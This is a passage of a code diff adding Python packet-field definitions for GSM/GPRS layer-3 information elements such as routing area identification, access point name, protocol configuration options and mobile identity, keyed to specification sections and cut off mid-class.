+             BitField("accessCap", 0x0, 4),
+             BitField("accessTechType", 0x0, 4),
+             # access capability
+             BitField("bool", 0x0, 1),
+             BitField("lengthContent", 0x0, 7),
+             BitField("spare1", 0x0, 1),  # ...
+             # content
+             BitField("pwrCap", 0x0, 3),
+             BitField("bool1", 0x0, 1),
+             BitField("a51", 0x0, 1),
+             BitField("a52", 0x0, 1),
+             BitField("a53", 0x0, 1),
+             BitField("a54", 0x0, 1),
+
+             BitField("a55", 0x0, 1),
+             BitField("a56", 0x0, 1),
+             BitField("a57", 0x0, 1),
+             BitField("esInd", 0x0, 1),
+             BitField("ps", 0x0, 1),
+             BitField("vgcs", 0x0, 1),
+             BitField("vbs", 0x0, 1),
+             BitField("bool2", 0x0, 1),
+             # multislot
+             BitField("bool3", 0x0, 1),
+             BitField("hscsd", 0x0, 5),
+
+             BitField("bool4", 0x0, 1),
+             BitField("gprs", 0x0, 5),
+             BitField("gprsExt", 0x0, 1),
+             BitField("bool5", 0x0, 1),
+
+             BitField("smsVal", 0x0, 4),
+             BitField("smVal", 0x0, 4)
+             ]
+
+
+# 10.5.5.13 Spare
+# This is intentionally left spare.
+
+class GmmCause(Packet):
+    """GMM cause Section 10.5.5.14"""
+    name = "GMM Cause"
+    fields_desc = [
+             ByteField("ieiGC", 0x0),
+             ByteField("causeValue", 0x0)
+             ]
+
+
+class RoutingAreaIdentification(Packet):
+    """Routing area identification Section 10.5.5.15"""
+    name = "Routing Area Identification"
+    fields_desc = [
+             ByteField("ieiRAI", 0x0),
+             BitField("mccDigit2", 0x0, 4),
+             BitField("mccDigit1", 0x0, 4),
+             BitField("mncDigit3", 0x0, 4),
+             BitField("mccDigit3", 0x0, 4),
+             BitField("mccDigit2", 0x0, 4),
+             BitField("mccDigit1", 0x0, 4),
+             ByteField("LAC", 0x0),
+             ByteField("LAC1", 0x0),
+             ByteField("LAC", 0x0)
+             ]
+# 10.5.5.16 Spare
+# This is intentionally left spare.
+
+
+class UpdateResult(Packet):
+    """Update result Section 10.5.5.17"""
+    name = "Update Result"
+    fields_desc = [
+             XBitField("ieiUR", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("updateResVal", 0x0, 3)
+             ]
+
+
+class UpdateType(Packet):
+    """Update type Section 10.5.5.18"""
+    name = "Update Type"
+    fields_desc = [
+             XBitField("ieiUT", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("updateTypeVal", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class UpdateTypeAndCiphKeySeqNr(Packet):
+    name = "Update Type and Cipher Key Sequence Number"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("updateTypeVal", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("keySeq", 0x0, 3)
+             ]
+
+
+class AcReferenceNumber(Packet):
+    """A&C reference number Section 10.5.5.19"""
+    name = "A&C Reference Number"
+    fields_desc = [
+             XBitField("ieiARN", 0x0, 4),
+             BitField("acRefVal", 0x0, 4)
+             ]
+
+
+# Fix 1/2 len problem
+class AcReferenceNumberAndSpareHalfOctets(Packet):
+    name = "A&C Reference Number and Spare Half Octets"
+    fields_desc = [
+             BitField("acRefVal", 0x0, 4),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+#
+# 10.5.6 Session management information elements
+#
+# length 3 to 102
+
+
+class AccessPointName(Packet):
+    """Access Point Name Section 10.5.6.1"""
+    name = "Access Point Name"
+    fields_desc = [
+             ByteField("ieiAPN", 0x0),
+             XByteField("lengthAPN", None),
+             ByteField("apName", 0x0),
+             # optional
+             ByteField("apName1", None),
+             ByteField("apName2", None),
+             ByteField("apName3", None),
+             ByteField("apName4", None),
+             ByteField("apName5", None),
+             ByteField("apName6", None),
+             ByteField("apName7", None),
+             ByteField("apName8", None),
+             ByteField("apName9", None),
+             ByteField("apName10", None),
+             ByteField("apName11", None),
+             ByteField("apName12", None),
+             ByteField("apName13", None),
+             ByteField("apName14", None),
+             ByteField("apName15", None),
+             ByteField("apName16", None),
+             ByteField("apName17", None),
+             ByteField("apName18", None),
+             ByteField("apName19", None),
+             ByteField("apName20", None),
+             ByteField("apName21", None),
+             ByteField("apName22", None),
+             ByteField("apName23", None),
+             ByteField("apName24", None),
+             ByteField("apName25", None),
+             ByteField("apName26", None),
+             ByteField("apName27", None),
+             ByteField("apName28", None),
+             ByteField("apName29", None),
+             ByteField("apName30", None),
+             ByteField("apName31", None),
+             ByteField("apName32", None),
+             ByteField("apName33", None),
+             ByteField("apName34", None),
+             ByteField("apName35", None),
+             ByteField("apName36", None),
+             ByteField("apName37", None),
+             ByteField("apName38", None),
+             ByteField("apName39", None),
+             ByteField("apName40", None),
+             ByteField("apName41", None),
+             ByteField("apName42", None),
+             ByteField("apName43", None),
+             ByteField("apName44", None),
+             ByteField("apName45", None),
+             ByteField("apName46", None),
+             ByteField("apName47", None),
+             ByteField("apName48", None),
+             ByteField("apName49", None),
+             ByteField("apName50", None),
+             ByteField("apName51", None),
+             ByteField("apName52", None),
+             ByteField("apName53", None),
+             ByteField("apName54", None),
+             ByteField("apName55", None),
+             ByteField("apName56", None),
+             ByteField("apName57", None),
+             ByteField("apName58", None),
+             ByteField("apName59", None),
+             ByteField("apName60", None),
+             ByteField("apName61", None),
+             ByteField("apName62", None),
+             ByteField("apName63", None),
+             ByteField("apName64", None),
+             ByteField("apName65", None),
+             ByteField("apName66", None),
+             ByteField("apName67", None),
+             ByteField("apName68", None),
+             ByteField("apName69", None),
+             ByteField("apName70", None),
+             ByteField("apName71", None),
+             ByteField("apName72", None),
+             ByteField("apName73", None),
+             ByteField("apName74", None),
+             ByteField("apName75", None),
+             ByteField("apName76", None),
+             ByteField("apName77", None),
+             ByteField("apName78", None),
+             ByteField("apName79", None),
+             ByteField("apName80", None),
+             ByteField("apName81", None),
+             ByteField("apName82", None),
+             ByteField("apName83", None),
+             ByteField("apName84", None),
+             ByteField("apName85", None),
+             ByteField("apName86", None),
+             ByteField("apName87", None),
+             ByteField("apName88", None),
+             ByteField("apName89", None),
+             ByteField("apName90", None),
+             ByteField("apName91", None),
+             ByteField("apName92", None),
+             ByteField("apName93", None),
+             ByteField("apName94", None),
+             ByteField("apName95", None),
+             ByteField("apName96", None),
+             ByteField("apName97", None),
+             ByteField("apName98", None),
+             ByteField("apName99", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 102, a, self.fields_desc)
+        if self.lengthAPN is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class NetworkServiceAccessPointIdentifier(Packet):
+    """Network service access point identifier Section 10.5.6.2"""
+    name = "Network Service Access Point Identifier"
+    fields_desc = [
+             ByteField("ieiNSAPI", 0x0),
+             BitField("spare", 0x0, 4),
+             BitField("nsapiVal", 0x0, 4)
+             ]
+
+
+# length 2 to 253
+class ProtocolConfigurationOptions(Packet):
+    """Protocol configuration options Section 10.5.6.3"""
+    name = "Protocol Configuration Options"
+    fields_desc = [
+             ByteField("ieiPCO", 0x0),
+
+             XByteField("lengthPCO", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("spare", None, 4),
+             BitField("configProto", None, 3),
+
+             ByteField("protoId1", None),
+             ByteField("lenProto1", None),
+             ByteField("proto1Content", None),
+
+             ByteField("protoId2", None),
+             ByteField("lenProto2", None),
+             ByteField("proto2Content", None),
+
+             ByteField("protoId3", None),
+             ByteField("lenProto3", None),
+             ByteField("proto3Content", None),
+
+             ByteField("protoId4", None),
+             ByteField("lenProto4", None),
+             ByteField("proto4Content", None),
+
+
+             ByteField("protoId5", None),
+             ByteField("lenProto5", None),
+             ByteField("proto5Content", None),
+
+             ByteField("protoId6", None),
+             ByteField("lenProto6", None),
+             ByteField("proto6Content", None),
+
+             ByteField("protoId7", None),
+             ByteField("lenProto7", None),
+             ByteField("proto7Content", None),
+
+             ByteField("protoId8", None),
+             ByteField("lenProto8", None),
+             ByteField("proto8Content", None),
+
+             ByteField("protoId9", None),
+             ByteField("lenProto9", None),
+             ByteField("proto9Content", None),
+
+             ByteField("protoId10", None),
+             ByteField("lenProto10", None),
+             ByteField("proto10Content", None),
+
+             ByteField("protoId11", None),
+             ByteField("lenProto11", None),
+             ByteField("proto11Content", None),
+
+             ByteField("protoId12", None),
+             ByteField("lenProto12", None),
+             ByteField("proto12Content", None),
+
+             ByteField("protoId13", None),
+             ByteField("lenProto13", None),
+             ByteField("proto13Content", None),
+
+             ByteField("protoId14", None),
+             ByteField("lenProto14", None),
+             ByteField("proto14Content", None),
+
+             ByteField("protoId15", None),
+             ByteField("lenProto15", None),
+             ByteField("proto15Content", None),
+
+             ByteField("protoId16", None),
+             ByteField("lenProto16", None),
+             ByteField("proto16Content", None),
+
+             ByteField("protoId17", None),
+             ByteField("lenProto17", None),
+             ByteField("proto17Content", None),
+
+             ByteField("protoId18", None),
+             ByteField("lenProto18", None),
+             ByteField("proto18Content", None),
+
+             ByteField("protoId19", None),
+             ByteField("lenProto19", None),
+             ByteField("proto19Content", None),
+
+             ByteField("protoId20", None),
+             ByteField("lenProto20", None),
+             ByteField("proto20Content", None),
+
+             ByteField("protoId21", None),
+             ByteField("lenProto21", None),
+             ByteField("proto21Content", None),
+
+             ByteField("protoId22", None),
+             ByteField("lenProto22", None),
+             ByteField("proto22Content", None),
+
+             ByteField("protoId23", None),
+             ByteField("lenProto23", None),
+             ByteField("proto23Content", None),
+
+             ByteField("protoId24", None),
+             ByteField("lenProto24", None),
+             ByteField("proto24Content", None),
+
+             ByteField("protoId25", None),
+             ByteField("lenProto25", None),
+             ByteField("proto25Content", None),
+
+             ByteField("protoId26", None),
+             ByteField("lenProto26", None),
+             ByteField("proto26Content", None),
+
+             ByteField("protoId27", None),
+             ByteField("lenProto27", None),
+             ByteField("proto27Content", None),
+
+             ByteField("protoId28", None),
+             ByteField("lenProto28", None),
+             ByteField("proto28Content", None),
+
+             ByteField("protoId29", None),
+             ByteField("lenProto29", None),
+             ByteField("proto29Content", None),
+
+             ByteField("protoId30", None),
+             ByteField("lenProto30", None),
+             ByteField("proto30Content", None),
+
+             ByteField("protoId31", None),
+             ByteField("lenProto31", None),
+             ByteField("proto31Content", None),
+
+             ByteField("protoId32", None),
+             ByteField("lenProto32", None),
+             ByteField("proto32Content", None),
+
+             ByteField("protoId33", None),
+             ByteField("lenProto33", None),
+             ByteField("proto33Content", None),
+
+             ByteField("protoId34", None),
+             ByteField("lenProto34", None),
+             ByteField("proto34Content", None),
+
+             ByteField("protoId35", None),
+             ByteField("lenProto35", None),
+             ByteField("proto35Content", None),
+
+             ByteField("protoId36", None),
+             ByteField("lenProto36", None),
+             ByteField("proto36Content", None),
+
+             ByteField("protoId37", None),
+             ByteField("lenProto37", None),
+             ByteField("proto37Content", None),
+
+             ByteField("protoId38", None),
+             ByteField("lenProto38", None),
+             ByteField("proto38Content", None),
+
+             ByteField("protoId39", None),
+             ByteField("lenProto39", None),
+             ByteField("proto39Content", None),
+
+             ByteField("protoId40", None),
+             ByteField("lenProto40", None),
+             ByteField("proto40Content", None),
+
+             ByteField("protoId41", None),
+             ByteField("lenProto41", None),
+             ByteField("proto41Content", None),
+
+             ByteField("protoId42", None),
+             ByteField("lenProto42", None),
+             ByteField("proto42Content", None),
+
+             ByteField("protoId43", None),
+             ByteField("lenProto43", None),
+             ByteField("proto43Content", None),
+
+             ByteField("protoId44", None),
+             ByteField("lenProto44", None),
+             ByteField("proto44Content", None),
+
+             ByteField("protoId45", None),
+             ByteField("lenProto45", None),
+             ByteField("proto45Content", None),
+
+             ByteField("protoId46", None),
+             ByteField("lenProto46", None),
+             ByteField("proto46Content", None),
+
+             ByteField("protoId47", None),
+             ByteField("lenProto47", None),
+             ByteField("proto47Content", None),
+
+             ByteField("protoId48", None),
+             ByteField("lenProto48", None),
+             ByteField("proto48Content", None),
+
+             ByteField("protoId49", None),
+             ByteField("lenProto49", None),
+             ByteField("proto49Content", None),
+
+             ByteField("protoId50", None),
+             ByteField("lenProto50", None),
+             ByteField("proto50Content", None),
+
+             ByteField("protoId51", None),
+             ByteField("lenProto51", None),
+             ByteField("proto51Content", None),
+
+             ByteField("protoId52", None),
+             ByteField("lenProto52", None),
+             ByteField("proto52Content", None),
+
+             ByteField("protoId53", None),
+             ByteField("lenProto53", None),
+             ByteField("proto53Content", None),
+
+             ByteField("protoId54", None),
+             ByteField("lenProto54", None),
+             ByteField("proto54Content", None),
+
+             ByteField("protoId55", None),
+             ByteField("lenProto55", None),
+             ByteField("proto55Content", None),
+
+             ByteField("protoId56", None),
+             ByteField("lenProto56", None),
+             ByteField("proto56Content", None),
+
+             ByteField("protoId57", None),
+             ByteField("lenProto57", None),
+             ByteField("proto57Content", None),
+
+             ByteField("protoId58", None),
+             ByteField("lenProto58", None),
+             ByteField("proto58Content", None),
+
+             ByteField("protoId59", None),
+             ByteField("lenProto59", None),
+             ByteField("proto59Content", None),
+
+             ByteField("protoId60", None),
+             ByteField("lenProto60", None),
+             ByteField("proto60Content", None),
+
+             ByteField("protoId61", None),
+             ByteField("lenProto61", None),
+             ByteField("proto61Content", None),
+
+             ByteField("protoId62", None),
+             ByteField("lenProto62", None),
+             ByteField("proto62Content", None),
+
+             ByteField("protoId63", None),
+             ByteField("lenProto63", None),
+             ByteField("proto63Content", None),
+
+             ByteField("protoId64", None),
+             ByteField("lenProto64", None),
+             ByteField("proto64Content", None),
+
+             ByteField("protoId65", None),
+             ByteField("lenProto65", None),
+             ByteField("proto65Content", None),
+
+             ByteField("protoId66", None),
+             ByteField("lenProto66", None),
+             ByteField("proto66Content", None),
+
+             ByteField("protoId67", None),
+             ByteField("lenProto67", None),
+             ByteField("proto67Content", None),
+
+             ByteField("protoId68", None),
+             ByteField("lenProto68", None),
+             ByteField("proto68Content", None),
+
+             ByteField("protoId69", None),
+             ByteField("lenProto69", None),
+             ByteField("proto69Content", None),
+
+             ByteField("protoId70", None),
+             ByteField("lenProto70", None),
+             ByteField("proto70Content", None),
+
+             ByteField("protoId71", None),
+             ByteField("lenProto71", None),
+             ByteField("proto71Content", None),
+
+             ByteField("protoId72", None),
+             ByteField("lenProto72", None),
+             ByteField("proto72Content", None),
+
+             ByteField("protoId73", None),
+             ByteField("lenProto73", None),
+             ByteField("proto73Content", None),
+
+             ByteField("protoId74", None),
+             ByteField("lenProto74", None),
+             ByteField("proto74Content", None),
+
+             ByteField("protoId75", None),
+             ByteField("lenProto75", None),
+             ByteField("proto75Content", None),
+
+             ByteField("protoId76", None),
+             ByteField("lenProto76", None),
+             ByteField("proto76Content", None),
+
+             ByteField("protoId77", None),
+             ByteField("lenProto77", None),
+             ByteField("proto77Content", None),
+
+             ByteField("protoId78", None),
+             ByteField("lenProto78", None),
+             ByteField("proto78Content", None),
+
+             ByteField("protoId79", None),
+             ByteField("lenProto79", None),
+             ByteField("proto79Content", None),
+
+             ByteField("protoId80", None),
+             ByteField("lenProto80", None),
+             ByteField("proto80Content", None),
+
+             ByteField("protoId81", None),
+             ByteField("lenProto81", None),
+             ByteField("proto81Content", None),
+
+             ByteField("protoId82", None),
+             ByteField("lenProto82", None),
+             ByteField("proto82Content", None),
+
+             ByteField("protoId83", None),
+             ByteField("lenProto83", None),
+             ByteField("proto83Content", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 253, a, self.fields_desc)
+        if self.lengthPCO is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 4 to 20
+class PacketDataProtocolAddress(Packet):
+    """Packet data protocol address Section 10.5.6.4"""
+    name = "Packet Data Protocol Address"
+    fields_desc = [
+             ByteField("ieiPDPA", 0x0),
+
+             XByteField("lengthPDPA", None),
+
+             BitField("spare", 0x0, 4),
+             BitField("pdpTypeOrga", 0x0, 4),
+
+             ByteField("pdpTypeNb", 0x0),
+             # optional
+             ByteField("addressInfo1", None),
+             ByteField("addressInfo2", None),
+             ByteField("addressInfo3", None),
+             ByteField("addressInfo4", None),
+             ByteField("addressInfo5", None),
+             ByteField("addressInfo6", None),
+             ByteField("addressInfo7", None),
+             ByteField("addressInfo8", None),
+             ByteField("addressInfo9", None),
+             ByteField("addressInfo10", None),
+             ByteField("addressInfo11", None),
+             ByteField("addressInfo12", None),
+             ByteField("addressInfo13", None),
+             ByteField("addressInfo14", None),
+             ByteField("addressInfo15", None),
+             ByteField("addressInfo16", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 20, a, self.fields_desc)
+        if self.lengthPDPA is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class QualityOfService(Packet):
+    """Quality of service Section 10.5.6.5"""
+    name = "Quality of Service"
+    fields_desc = [
+             ByteField("ieiQOS", 0x0),
+             XByteField("lengthQOS", 0x5),
+
+             BitField("spare", 0x0, 2),
+             BitField("delayClass", 0x0, 3),
+             BitField("reliaClass", 0x0, 3),
+
+             BitField("peak", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("precedenceCl", 0x0, 3),
+
+             BitField("spare", 0x0, 3),
+             BitField("mean", 0x0, 5)
+             ]
+
+
+class SmCause(Packet):
+    """SM cause Section 10.5.6.6"""
+    name = "SM Cause"
+    fields_desc = [
+             ByteField("ieiSC", 0x0),
+             ByteField("causeVal", 0x0)
+             ]
+
+# 10.5.6.7 Spare
+# This is intentionally left spare.
+
+
+class AaDeactivationCause(Packet):
+    """AA deactivation cause Section 10.5.6.8"""
+    name = "AA Deactivation Cause"
+    fields_desc = [
+             XBitField("ieiADC", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("aaVal", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class AaDeactivationCauseAndSpareHalfOctets(Packet):
+    name = "AA Deactivation Cause and Spare Half Octets"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("aaVal", 0x0, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class LlcServiceAccessPointIdentifier(Packet):
+    """LLC service access point identifier Section 10.5.6.9"""
+    name = "LLC Service Access Point Identifier"
+    fields_desc = [
+             ByteField("ieiLSAPI", None),
+             BitField("spare", 0x0, 4),
+             BitField("llcVal", 0x0, 4)
+             ]
+
+
+#
+# 10.5.7 GPRS Common information elements
+#
+
+# 10.5.7.1 [Spare]
+
+class RadioPriority(Packet):
+    """Radio priority Section 10.5.7.2"""
+    name = "Radio Priority"
+    fields_desc = [
+             XBitField("ieiRP", 0x0, 4),
+             BitField("spare", 0x1, 1),
+             BitField("rplv", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class RadioPriorityAndSpareHalfOctets(Packet):
+    name = "Radio Priority and Spare Half Octets"
+    fields_desc = [
+             BitField("spare", 0x1, 1),
+             BitField("rplv", 0x0, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class GprsTimer(Packet):
+    """GPRS Timer Section 10.5.7.3"""
+    name = "GPRS Timer"
+    fields_desc = [
+             ByteField("ieiGT", 0x0),
+             BitField("unit", 0x0, 3),
+             BitField("timerVal", 0x0, 5)
+             ]
+
+
+class CellIdentity(Packet):
+    """ Cell identity Section 10.5.1.1 """
+    name = "Cell Identity"
+    fields_desc = [
+             ByteField("ciValue1", 0x0),
+             ByteField("ciValue2", 0x0)
+             ]
+
+
+class CiphKeySeqNr(Packet):
+    """ Ciphering Key Sequence Number Section 10.5.1.2 """
+    name = "Cipher Key Sequence Number"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("keySeq", 0x0, 3)
+             ]
+
+
+class LocalAreaId(Packet):
+    """ Local Area Identification Section 10.5.1.3 """
+    name = "Location Area Identification"
+    fields_desc = [
+             BitField("mccDigit2", 0x0, 4),
+             BitField("mccDigit1", 0x0, 4),
+             BitField("mncDigit3", 0x0, 4),
+             BitField("mccDigit3", 0x0, 4),
+             BitField("mncDigit2", 0x0, 4),
+             BitField("mncDigit1", 0x0, 4),
+             ByteField("lac1", 0x0),
+             ByteField("lac2", 0x0)
+             ]
+#
+# The Mobile Identity is a type 4 information element with a minimum
+# length of 3 octet and 11 octets length maximal.
+#
+
+
+# len 3 - 11
+class MobileId(Packet):
+    """ Mobile Identity  Section 10.5.1.4 """
+    name = "Mobile Identity"
+    fields_desc = [
+             XByteField("lengthMI", None),
+             BitField("idDigit1", 0x0, 4),
+             BitField("oddEven", 0x0, 1),
+             BitField("typeOfId", 0x0, 3),
+
+             BitField("idDigit2_1", None, 4),  # optional
+             BitField("idDigit2", None, 4),
+             BitField("idDigit3_1", None, 4),
+             BitField("idDigit3", None, 4),
+             BitField("idDigit4_1", None, 4),
+             BitField("idDigit4", None, 4),
+             BitField("idDigit5_1", None, 4),
+             BitField("idDigit5", None, 4),
+             BitField("idDigit6_1", None, 4),
+             BitField("idDigit6", None, 4),
+             BitField("idDigit7_1", None, 4),
+             BitField("idDigit7", None, 4),
+             BitField("idDigit8_1", None, 4),
+             BitField("idDigit8", None, 4),
+             BitField("idDigit9_1", None, 4),
+             BitField("idDigit9", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 10, a, self.fields_desc, 1)
+        if self.lengthMI is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MobileStationClassmark1(Packet):
+    """ Mobile Station Classmark 1 Section 10.5.1.5 """
+    name = "Mobile Station Classmark 1"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("revisionLvl", 0x0, 2),
+             BitField("esInd", 0x0, 1),
+             BitField("a51", 0x0, 1),
+             BitField("rfPowerCap", 0x0, 3)
+             ]
+
+
+class MobileStationClassmark2(Packet):
+    """ Mobile Station Classmark 2 Section 10.5.1.6 """
+    name = "Mobile Station Classmark 2"
+    fields_desc = [
+             XByteField("lengthMSC2", 0x3),
+             BitField("spare", 0x0, 1),
+             BitField("revisionLvl", 0x0, 2),
+             BitField("esInd", 0x0, 1),
+             BitField("a51", 0x0, 1),
+             BitField("rfPowerCap", 0x0, 3),
+             BitField("spare1", 0x0, 1),
+             BitField("psCap", 0x0, 1),
+             BitField("ssScreenInd", 0x0, 2),
+             BitField("smCaPabi", 0x0, 1),
+             BitField("vbs", 0x0, 1),
+             BitField("vgcs", 0x0, 1),
+             BitField("fc", 0x0, 1),
+             BitField("cm3", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("lcsvaCap", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("soLsa", 0x0, 1),
+             BitField("cmsp", 0x0, 1),
+             BitField("a53", 0x0, 1),
+             BitField("a52", 0x0, 1)
+             ]
+
+
+class DescriptiveGroupOrBroadcastCallReference(Packet):
+    """ Descriptive group or broadcast call reference  Section 10.5.1.9 """
+    name = "Descriptive Group or Broadcast Call Reference"
+    fields_desc = [
+             BitField("binCallRef", 0x0, 27),
+             BitField("sf", 0x0, 1),
+             BitField("fa", 0x0, 1),
+             BitField("callPrio", 0x0, 3),
+             BitField("cipherInfo", 0x0, 4),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("spare4", 0x0, 1)
+             ]
+
+
+class PdAndSapi(Packet):
+    """ PD and SAPI $(CCBS)$  Section 10.5.1.10a """
+    name = "PD and SAPI $(CCBS)$"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("sapi", 0x0, 2),
+             BitField("pd", 0x0, 4)
+             ]
+
+
+class PriorityLevel(Packet):
+    """ Priority Level Section 10.5.1.11 """
+    name = "Priority Level"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("callPrio", 0x0, 3)
+             ]
+
+#
+# Radio Resource management information elements
+#
+
+
+# len 6 to max for L3 message (251)
+class BaRange(Packet):
+    """ BA Range Section 10.5.2.1a """
+    name = "BA Range"
+    fields_desc = [
+
+             XByteField("lengthBR", None),
+#error: byte format requires -128 <= number <= 127
+             ByteField("nrOfRanges", 0x0),
+#              # rX = range X
+#              # L o = Lower H i = higher
+#              # H p = high Part Lp = low Part
+             ByteField("r1LoHp", 0x0),
+
+             BitField("r1LoLp", 0x0, 3),
+             BitField("r1HiHp", 0x0, 5),
+
+             BitField("r1HiLp", 0x0, 4),
+             BitField("r2LoHp", 0x0, 4),
+             # optional
+             BitField("r2LoLp", None, 5),
+             BitField("r2HiHp", None, 3),
+
+             ByteField("r2HiLp", None),
+             ByteField("r3LoHp", None),
+
+             BitField("r3LoLp", None, 5),
+             BitField("r3HiHp", None, 3),
+
+             ByteField("r3HiLp", None),
+             ByteField("r4LoHp", None),
+
+             BitField("r4LoLp", None, 5),
+             BitField("r4HiHp", None, 3),
+             ByteField("r4HiLp", None),
+             ByteField("r5LoHp", None),
+
+             BitField("r5LoLp", None, 5),
+             BitField("r5HiHp", None, 3),
+             ByteField("r5HiLp", None),
+             ByteField("r6LoHp", None),
+
+             BitField("r6LoLp", None, 5),
+             BitField("r6HiHp", None, 3),
+             ByteField("r6HiLp", None),
+             ByteField("r7LoHp", None),
+
+             BitField("r7LoLp", None, 5),
+             BitField("r7HiHp", None, 3),
+             ByteField("r7HiLp", None),
+             ByteField("r8LoHp", None),
+
+             BitField("r8LoLp", None, 5),
+             BitField("r8HiHp", None, 3),
+             ByteField("r8HiLp", None),
+             ByteField("r9LoHp", None),
+
+             BitField("r9LoLp", None, 5),
+             BitField("r9HiHp", None, 3),
+             ByteField("r9HiLp", None),
+             ByteField("r10LoHp", None),
+
+             BitField("r10LoLp", None, 5),
+             BitField("r10HiHp", None, 3),
+             ByteField("r10HiLp", None),
+             ByteField("r11LoHp", None),
+
+             BitField("r11LoLp", None, 5),
+             BitField("r11HiHp", None, 3),
+             ByteField("r11HiLp", None),
+             ByteField("r12LoHp", None),
+
+             BitField("r12LoLp", None, 5),
+             BitField("r12HiHp", None, 3),
+             ByteField("r12HiLp", None),
+             ByteField("r13LoHp", None),
+
+             BitField("r13LoLp", None, 5),
+             BitField("r13HiHp", None, 3),
+             ByteField("r13HiLp", None),
+             ByteField("r14LoHp", None),
+
+             BitField("r14LoLp", None, 5),
+             BitField("r14HiHp", None, 3),
+             ByteField("r14HiLp", None),
+             ByteField("r15LoHp", None),
+
+             BitField("r15LoLp", None, 5),
+             BitField("r15HiHp", None, 3),
+             ByteField("r15HiLp", None),
+             ByteField("r16LoHp", None),
+
+             BitField("r16LoLp", None, 5),
+             BitField("r16HiHp", None, 3),
+             ByteField("r16HiLp", None),
+             ByteField("r17LoHp", None),
+
+             BitField("r17LoLp", None, 5),
+             BitField("r17HiHp", None, 3),
+             ByteField("r17HiLp", None),
+             ByteField("r18LoHp", None),
+
+             BitField("r18LoLp", None, 5),
+             BitField("r18HiHp", None, 3),
+             ByteField("r18HiLp", None),
+             ByteField("r19LoHp", None),
+
+             BitField("r19LoLp", None, 5),
+             BitField("r19HiHp", None, 3),
+             ByteField("r19HiLp", None),
+             ByteField("r20LoHp", None),
+
+             BitField("r20LoLp", None, 5),
+             BitField("r20HiHp", None, 3),
+             ByteField("r20HiLp", None),
+             ByteField("r21LoHp", None),
+
+             BitField("r21LoLp", None, 5),
+             BitField("r21HiHp", None, 3),
+             ByteField("r21HiLp", None),
+             ByteField("r22LoHp", None),
+
+             BitField("r22LoLp", None, 5),
+             BitField("r22HiHp", None, 3),
+             ByteField("r22HiLp", None),
+             ByteField("r23LoHp", None),
+
+             BitField("r23LoLp", None, 5),
+             BitField("r23HiHp", None, 3),
+             ByteField("r23HiLp", None),
+             ByteField("r24LoHp", None),
+
+             BitField("r24LoLp", None, 5),
+             BitField("r24HiHp", None, 3),
+             ByteField("r24HiLp", None),
+             ByteField("r25LoHp", None),
+
+             BitField("r25LoLp", None, 5),
+             BitField("r25HiHp", None, 3),
+             ByteField("r25HiLp", None),
+             ByteField("r26LoHp", None),
+
+             BitField("r26LoLp", None, 5),
+             BitField("r26HiHp", None, 3),
+             ByteField("r26HiLp", None),
+             ByteField("r27LoHp", None),
+
+             BitField("r27LoLp", None, 5),
+             BitField("r27HiHp", None, 3),
+             ByteField("r27HiLp", None),
+             ByteField("r28LoHp", None),
+
+             BitField("r28LoLp", None, 5),
+             BitField("r28HiHp", None, 3),
+             ByteField("r28HiLp", None),
+             ByteField("r29LoHp", None),
+
+             BitField("r29LoLp", None, 5),
+             BitField("r29HiHp", None, 3),
+             ByteField("r29HiLp", None),
+             ByteField("r30LoHp", None),
+
+             BitField("r30LoLp", None, 5),
+             BitField("r30HiHp", None, 3),
+             ByteField("r30HiLp", None),
+             ByteField("r31LoHp", None),
+
+             BitField("r31LoLp", None, 5),
+             BitField("r31HiHp", None, 3),
+             ByteField("r31HiLp", None),
+             ByteField("r32LoHp", None),
+
+             BitField("r32LoLp", None, 5),
+             BitField("r32HiHp", None, 3),
+             ByteField("r32HiLp", None),
+             ByteField("r33LoHp", None),
+
+             BitField("r33LoLp", None, 5),
+             BitField("r33HiHp", None, 3),
+             ByteField("r33HiLp", None),
+             ByteField("r34LoHp", None),
+
+             BitField("r34LoLp", None, 5),
+             BitField("r34HiHp", None, 3),
+             ByteField("r34HiLp", None),
+             ByteField("r35LoHp", None),
+
+             BitField("r35LoLp", None, 5),
+             BitField("r35HiHp", None, 3),
+             ByteField("r35HiLp", None),
+             ByteField("r36LoHp", None),
+
